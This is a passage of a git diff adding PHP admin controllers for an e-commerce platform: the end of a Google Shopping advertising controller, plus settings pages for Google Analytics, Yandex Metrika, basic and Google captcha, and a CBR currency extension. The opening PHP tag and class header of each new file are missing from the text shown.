+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function popup_issues() {
+ $json = array(
+ 'body' => '',
+ 'title' => ''
+ );
+
+ $this->language->load('extension/advertise/google');
+
+ $this->load->model('catalog/product');
+ $this->load->model('extension/advertise/google');
+
+ $product_id = isset($this->request->get['product_id']) ? (int)$this->request->get['product_id'] : 0;
+
+ $product_issues = $this->model_extension_advertise_google->getProductIssues($product_id, $this->store_id);
+
+ if ($product_issues !== NULL) {
+ $json['title'] = sprintf($this->language->get('text_popup_title_single'), $product_issues['name'], $product_issues['model']);
+
+ $data['product_issues'] = $product_issues['entries'];
+
+ $json['body'] = $this->load->view('extension/advertise/google_popup_issues', $data);
+ } else {
+ $json['title'] = $this->language->get('error_popup_not_found_title');
+ $json['body'] = $this->language->get('error_popup_not_found_body');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function admin_link(&$route, &$data, &$template) {
+ if (!$this->user->hasPermission('access', 'extension/advertise/google')) {
+ return;
+ }
+
+ foreach ($data['menus'] as &$menu) {
+ if ($menu['id'] == 'menu-marketing') {
+ $children = array();
+
+ $this->load->model('setting/store');
+
+ $children[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'children' => array(),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=0&user_token=' . $this->session->data['user_token'], true)
+ );
+
+ foreach ($this->model_setting_store->getStores() as $store) {
+ $children[] = array(
+ 'name' => $store['name'],
+ 'children' => array(),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $store['store_id'] . '&user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+
+ array_push($menu['children'], array(
+ 'name' => 'Google Shopping',
+ 'children' => $children,
+ 'href' => ''
+ ));
+
+ return;
+ }
+ }
+ }
+
+ public function addProduct(&$route, &$args, &$output) {
+ $this->load->model('extension/advertise/google');
+ $this->load->model('catalog/product');
+
+ foreach ($this->model_catalog_product->getProductStores($output) as $store_id) {
+ $this->model_extension_advertise_google->insertNewProducts(array($output), $store_id);
+ }
+ }
+
+ public function copyProduct(&$route, &$args, &$output) {
+ $this->load->model('extension/advertise/google');
+ $this->load->model('catalog/product');
+
+ $final_product_id = $this->model_extension_advertise_google->getFinalProductId();
+
+ if (!empty($final_product_id)) {
+ foreach ($this->model_catalog_product->getProductStores($final_product_id) as $store_id) {
+ $this->model_extension_advertise_google->insertNewProducts(array($final_product_id), $store_id);
+ }
+ }
+ }
+
+ public function deleteProduct(&$route, &$args, &$output) {
+ $this->load->model('extension/advertise/google');
+
+ $this->model_extension_advertise_google->deleteProducts(array((int)$args[0]));
+ }
+
+ public function install() {
+ $this->load->model('extension/advertise/google');
+
+ $this->model_extension_advertise_google->createTables();
+ $this->model_extension_advertise_google->createEvents();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/advertise/google');
+
+ $this->model_extension_advertise_google->dropTables();
+ $this->model_extension_advertise_google->deleteEvents();
+ }
+
+ public function category_autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('extension/advertise/google');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'sort' => 'name',
+ 'order' => 'ASC',
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_extension_advertise_google->getCategories($filter_data, $this->store_id);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'category_id' => $result['category_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ protected function getFilter($array) {
+ if (!empty($array)) {
+ return array(
+ 'filter_product_name' => $array['product_name'],
+ 'filter_product_model' => $array['product_model'],
+ 'filter_category_id' => $array['category_id'],
+ 'filter_is_modified' => $array['is_modified'],
+ 'filter_store_id' => $this->store_id
+ );
+ }
+
+ return array(
+ 'filter_store_id' => $this->store_id
+ );
+ }
+
+ protected function applyNewSettings($new_settings) {
+ $this->load->model('setting/setting');
+
+ $old_settings = $this->model_setting_setting->getSetting('advertise_google', $this->store_id);
+
+ $new_settings = array_merge($old_settings, $new_settings);
+
+ $this->model_setting_setting->editSetting('advertise_google', $new_settings, $this->store_id);
+
+ foreach ($new_settings as $key => $value) {
+ $this->setting->set($key, $value);
+ }
+ }
+
+ protected function product(&$row) {
+ $this->load->config('googleshopping/googleshopping');
+
+ $this->load->model('tool/image');
+
+ if (!empty($row['image']) && file_exists(DIR_IMAGE . $row['image'])) {
+ $image = $this->model_tool_image->resize($row['image'], 50, 50);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 50, 50);
+ }
+
+ return array(
+ 'product_advertise_google_id' => (int)$row['product_advertise_google_id'],
+ 'product_id' => (int)$row['product_id'],
+ 'image' => $image,
+ 'name' => htmlentities(html_entity_decode($row['name'], ENT_QUOTES, 'UTF-8'), ENT_QUOTES, 'UTF-8'),
+ 'model' => $row['model'],
+ 'impressions' => (int)$row['impressions'],
+ 'clicks' => (int)$row['clicks'],
+ 'conversions' => (int)$row['conversions'],
+ 'cost' => $this->googleshopping->currencyFormat($row['cost']),
+ 'conversion_value' => $this->googleshopping->currencyFormat($row['conversion_value']),
+ 'destination_status' => $row['destination_status'],
+ 'is_modified' => (bool)$row['is_modified'],
+ 'has_issues' => (bool)$row['has_issues'],
+ 'url_issues' => html_entity_decode($this->url->link('extension/advertise/google/popup_issues', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&product_id=' . $row['product_id'], true), ENT_QUOTES, 'UTF-8'),
+ 'campaigns' => $this->model_extension_advertise_google->getProductCampaigns((int)$row['product_id'], $this->store_id)
+ );
+ }
+
+ protected function getSettingValue($key, $default = null, $checkbox = false) {
+ if ($checkbox) {
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && !isset($this->request->post[$key])) {
+ return $default;
+ } else {
+ return $this->setting->get($key);
+ }
+ }
+
+ if (isset($this->request->post[$key])) {
+ return $this->request->post[$key];
+ } else if ($this->setting->has($key)) {
+ return $this->setting->get($key);
+ } else {
+ return $default;
+ }
+ }
+
+ protected function getValidationError($key) {
+ if (isset($this->error[$key])) {
+ return $this->error[$key];
+ } else {
+ return '';
+ }
+ }
+
+ protected function validateSettings() {
+ $this->validatePermission();
+
+ if (empty($this->request->post['advertise_google_status'])) {
+ return true;
+ }
+
+ if (!empty($this->request->post['advertise_google_cron_email_status'])) {
+ if (!filter_var($this->request->post['advertise_google_cron_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['cron_email'] = $this->language->get('error_invalid_email');
+ }
+ }
+
+ if (empty($this->request->post['advertise_google_cron_acknowledge'])) {
+ $this->error['cron_acknowledge'] = $this->language->get('error_cron_acknowledge');
+ }
+
+ if ($this->error && empty($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_form');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateShippingAndTaxes() {
+ $this->validatePermission();
+
+ if (empty($this->request->post['advertise_google_shipping_taxes']['min_transit_time']) || !is_numeric($this->request->post['advertise_google_shipping_taxes']['min_transit_time']) || (int)$this->request->post['advertise_google_shipping_taxes']['min_transit_time'] < 0) {
+ $this->error['min_transit_time'] = $this->language->get('error_min_transit_time');
+ } else if (empty($this->request->post['advertise_google_shipping_taxes']['max_transit_time']) || !is_numeric($this->request->post['advertise_google_shipping_taxes']['max_transit_time']) || (int)$this->request->post['advertise_google_shipping_taxes']['max_transit_time'] < (int)$this->request->post['advertise_google_shipping_taxes']['min_transit_time']) {
+ $this->error['max_transit_time'] = $this->language->get('error_max_transit_time');
+ }
+
+ switch ($this->request->post['advertise_google_shipping_taxes']['shipping_type']) {
+ case 'flat' :
+ if (!isset($this->request->post['advertise_google_shipping_taxes']['flat_rate']) || !is_numeric($this->request->post['advertise_google_shipping_taxes']['flat_rate']) || (float)$this->request->post['advertise_google_shipping_taxes']['flat_rate'] <= 0) {
+ $this->error['flat_rate'] = $this->language->get('error_flat_rate');
+ }
+ break;
+ case 'carrier' :
+ if (empty($this->request->post['advertise_google_shipping_taxes']['carrier'])) {
+ $this->error['warning'] = $this->language->get('error_carrier');
+ }
+
+ if (empty($this->request->post['advertise_google_shipping_taxes']['carrier_postcode'])) {
+ $this->error['carrier_postcode'] = $this->language->get('error_carrier_postcode');
+ }
+
+ if (!isset($this->request->post['advertise_google_shipping_taxes']['carrier_price_percentage']) || !is_numeric($this->request->post['advertise_google_shipping_taxes']['carrier_price_percentage']) || (float)$this->request->post['advertise_google_shipping_taxes']['carrier_price_percentage'] < 0 || (float)$this->request->post['advertise_google_shipping_taxes']['carrier_price_percentage'] > 100) {
+ $this->error['carrier_price_percentage'] = $this->language->get('error_carrier_price_percentage');
+ }
+ break;
+ }
+
+ switch ($this->request->post['advertise_google_shipping_taxes']['tax_type']) {
+ case 'usa' :
+ if (empty($this->request->post['advertise_google_shipping_taxes']['tax'])) {
+ $this->error['warning'] = $this->language->get('error_tax');
+ }
+ break;
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateMapping() {
+ $this->validatePermission();
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateProduct($required_fields) {
+ if (!$this->user->hasPermission('modify', 'extension/advertise/google')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (empty($this->error)) {
+ foreach ($required_fields as $key => $requirements) {
+ if (empty($requirements['selected_field']) && (!isset($this->request->post['form'][$key]) || $this->request->post['form'][$key] == '')) {
+ $this->error[$key] = $this->language->get('error_field_no_value');
+ } else if (!empty($requirements['selected_field'])) {
+ foreach ($requirements['selected_field'] as $dependency => $values) {
+ if (in_array($this->request->post['form'][$dependency], $values) && (!isset($this->request->post['form'][$key]) || $this->request->post['form'][$key] == '')) {
+ $this->error[$key] = $this->language->get('error_field_no_value');
+ }
+ }
+ }
+ }
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validatePermission() {
+ if (!$this->user->hasPermission('modify', 'extension/advertise/google')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCampaign() {
+ $this->validatePermission();
+
+ $this->load->model('extension/advertise/google');
+
+ $targets = $this->googleshopping->getTargets($this->store_id);
+
+ if (empty($targets)) {
+ $this->error['warning'] = $this->language->get('error_no_targets');
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateConnect() {
+ $this->validatePermission();
+
+ if (!isset($this->request->post['advertise_google_app_id']) || trim($this->request->post['advertise_google_app_id']) == '') {
+ $this->error['app_id'] = $this->language->get('error_empty_app_id');
+ } else if ($this->model_extension_advertise_google->isAppIdUsed($this->request->post['advertise_google_app_id'], $this->store_id)) {
+ $this->error['app_id'] = $this->language->get('error_used_app_id');
+ }
+
+ if (!isset($this->request->post['advertise_google_app_secret']) || trim($this->request->post['advertise_google_app_secret']) == '') {
+ $this->error['app_secret'] = $this->language->get('error_empty_app_secret');
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateTarget() {
+ $this->validatePermission();
+
+ if (!isset($this->request->post['budget']) || !is_numeric($this->request->post['budget']) || (float)$this->request->post['budget'] < 5) {
+ $this->error['budget'] = $this->language->get('error_budget');
+ }
+
+ if (empty($this->request->post['feed']) || !is_array($this->request->post['feed'])) {
+ $this->error['feed'] = $this->language->get('error_empty_feed');
+ } else {
+ foreach ($this->request->post['feed'] as $feed) {
+ if (empty($feed['language']) || empty($feed['currency'])) {
+ $this->error['feed'] = $this->language->get('error_invalid_feed');
+ break;
+ }
+ }
+ }
+
+ if (empty($this->request->post['country'])) {
+ $this->error['country'] = $this->language->get('error_empty_country');
+ }
+
+ if (empty($this->request->post['campaign_name']) || trim($this->request->post['campaign_name']) == '') {
+ $this->error['campaign_name'] = $this->language->get('error_empty_campaign_name');
+ } else {
+ $disallowed_names = [];
+
+ $this->load->model('extension/advertise/google');
+
+ foreach ($this->googleshopping->getTargets($this->store_id) as $existing_target) {
+ if (isset($this->request->get['advertise_google_target_id']) && $existing_target['target_id'] == $this->request->get['advertise_google_target_id']) {
+ // Ignore this target as it is currntly being edited
+ continue;
+ }
+
+ $disallowed_names[] = strtolower(str_replace(',', ',', trim($existing_target['campaign_name'])));
+ }
+
+ if (in_array(trim(strtolower($this->request->post['campaign_name'])), $disallowed_names)) {
+ $this->error['campaign_name'] = $this->language->get('error_campaign_name_in_use');
+ }
+
+ if (strtolower(trim($this->request->post['campaign_name'])) == 'total') {
+ $this->error['campaign_name'] = $this->language->get('error_campaign_name_total');
+ }
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/analytics/google.php b/public/admin/controller/extension/analytics/google.php
new file mode 100644
index 0000000..77c39e9
--- /dev/null
+++ b/public/admin/controller/extension/analytics/google.php
@@ -0,0 +1,85 @@
+load->language('extension/analytics/google');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('analytics_google', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/analytics/google', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/analytics/google', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['analytics_google_code'])) {
+ $data['analytics_google_code'] = $this->request->post['analytics_google_code'];
+ } else {
+ $data['analytics_google_code'] = $this->model_setting_setting->getSettingValue('analytics_google_code', $this->request->get['store_id']);
+ }
+
+ if (isset($this->request->post['analytics_google_status'])) {
+ $data['analytics_google_status'] = $this->request->post['analytics_google_status'];
+ } else {
+ $data['analytics_google_status'] = $this->model_setting_setting->getSettingValue('analytics_google_status', $this->request->get['store_id']);
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/analytics/google', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/analytics/google')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['analytics_google_code']) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/analytics/yandex_metrika.php b/public/admin/controller/extension/analytics/yandex_metrika.php
new file mode 100644
index 0000000..cd88b0b
--- /dev/null
+++ b/public/admin/controller/extension/analytics/yandex_metrika.php
@@ -0,0 +1,135 @@
+load->language('extension/analytics/yandex_metrika');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('analytics_yandex_metrika', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true));
+
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+ $data['text_help'] = $this->language->get('text_help');
+ $data['text_yes'] = $this->language->get('text_yes');
+ $data['text_no'] = $this->language->get('text_no');
+ $data['text_no_users'] = $this->language->get('text_no_users');
+ $data['text_no_admin'] = $this->language->get('text_no_admin');
+ $data['text_yandex_metrika'] = $this->language->get('text_yandex_metrika');
+ $data['text_help_counter'] = $this->language->get('text_help_counter');
+
+ $data['entry_code'] = $this->language->get('entry_code');
+ $data['entry_status'] = $this->language->get('entry_status');
+ $data['entry_no_admin'] = $this->language->get('entry_no_admin');
+ $data['entry_no_users'] = $this->language->get('entry_no_users');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/analytics/yandex_metrika', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/analytics/yandex_metrika', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['store_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $setting_info = $this->model_setting_setting->getSetting('analytics_yandex_metrika', $this->request->get['store_id']);
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_code'])) {
+ $data['analytics_yandex_metrika_code'] = $this->request->post['analytics_yandex_metrika_code'];
+ } else {
+ $data['analytics_yandex_metrika_code'] = $this->config->get('analytics_yandex_metrika_code');
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_status'])) {
+ $data['analytics_yandex_metrika_status'] = $this->request->post['analytics_yandex_metrika_status'];
+ } else {
+ $data['analytics_yandex_metrika_status'] = $this->config->get('analytics_yandex_metrika_status');
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_no_admin'])) {
+ $data['analytics_yandex_metrika_no_admin'] = $this->request->post['analytics_yandex_metrika_no_admin'];
+ } elseif (isset($setting_info['analytics_yandex_metrika_no_admin'])) {
+ $data['analytics_yandex_metrika_no_admin'] = $setting_info['analytics_yandex_metrika_no_admin'];
+ } else {
+ $data['analytics_yandex_metrika_no_admin'] = '';
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_no_users'])) {
+ $data['analytics_yandex_metrika_no_users'] = $this->request->post['analytics_yandex_metrika_no_users'];
+ } elseif (isset($setting_info['analytics_yandex_metrika_no_users'])) {
+ $data['analytics_yandex_metrika_no_users'] = $setting_info['analytics_yandex_metrika_no_users'];
+ } else {
+ $data['analytics_yandex_metrika_no_users'] = '';
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_counter'])) {
+ $data['analytics_yandex_metrika_counter'] = $this->request->post['analytics_yandex_metrika_counter'];
+ } elseif (isset($setting_info['analytics_yandex_metrika_counter'])) {
+ $data['analytics_yandex_metrika_counter'] = $setting_info['analytics_yandex_metrika_counter'];
+ } else {
+ $data['analytics_yandex_metrika_counter'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/analytics/yandex_metrika', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/analytics/yandex_metrika')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['analytics_yandex_metrika_code']) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/captcha/basic.php b/public/admin/controller/extension/captcha/basic.php
new file mode 100644
index 0000000..f975ba3
--- /dev/null
+++ b/public/admin/controller/extension/captcha/basic.php
@@ -0,0 +1,67 @@
+load->language('extension/captcha/basic');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('captcha_basic', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/captcha/basic', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/captcha/basic', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true);
+
+ if (isset($this->request->post['captcha_basic_status'])) {
+ $data['captcha_basic_status'] = $this->request->post['captcha_basic_status'];
+ } else {
+ $data['captcha_basic_status'] = $this->config->get('captcha_basic_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/captcha/basic', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/captcha/basic')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/captcha/google.php b/public/admin/controller/extension/captcha/google.php
new file mode 100644
index 0000000..e6a98c6
--- /dev/null
+++ b/public/admin/controller/extension/captcha/google.php
@@ -0,0 +1,99 @@
+load->language('extension/captcha/google');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('captcha_google', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ if (isset($this->error['secret'])) {
+ $data['error_secret'] = $this->error['secret'];
+ } else {
+ $data['error_secret'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/captcha/google', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/captcha/google', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true);
+
+ if (isset($this->request->post['captcha_google_key'])) {
+ $data['captcha_google_key'] = $this->request->post['captcha_google_key'];
+ } else {
+ $data['captcha_google_key'] = $this->config->get('captcha_google_key');
+ }
+
+ if (isset($this->request->post['captcha_google_secret'])) {
+ $data['captcha_google_secret'] = $this->request->post['captcha_google_secret'];
+ } else {
+ $data['captcha_google_secret'] = $this->config->get('captcha_google_secret');
+ }
+
+ if (isset($this->request->post['captcha_google_status'])) {
+ $data['captcha_google_status'] = $this->request->post['captcha_google_status'];
+ } else {
+ $data['captcha_google_status'] = $this->config->get('captcha_google_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/captcha/google', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/captcha/google')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['captcha_google_key']) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ if (!$this->request->post['captcha_google_secret']) {
+ $this->error['secret'] = $this->language->get('error_secret');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/currency/cbr.php b/public/admin/controller/extension/currency/cbr.php
new file mode 100644
index 0000000..d9d82ce
--- /dev/null
+++ b/public/admin/controller/extension/currency/cbr.php
@@ -0,0 +1,138 @@
+load->language('extension/currency/cbr');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('currency_cbr', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency'));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = [];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency')
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/currency/cbr', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['action'] = $this->url->link('extension/currency/cbr', 'user_token=' . $this->session->data['user_token']);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency');
+
+ if (isset($this->request->post['currency_cbr_status'])) {
+ $data['currency_cbr_status'] = $this->request->post['currency_cbr_status'];
+ } else {
+ $data['currency_cbr_status'] = $this->config->get('currency_cbr_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/currency/cbr', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/currency/cbr')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function currency($default = '') {
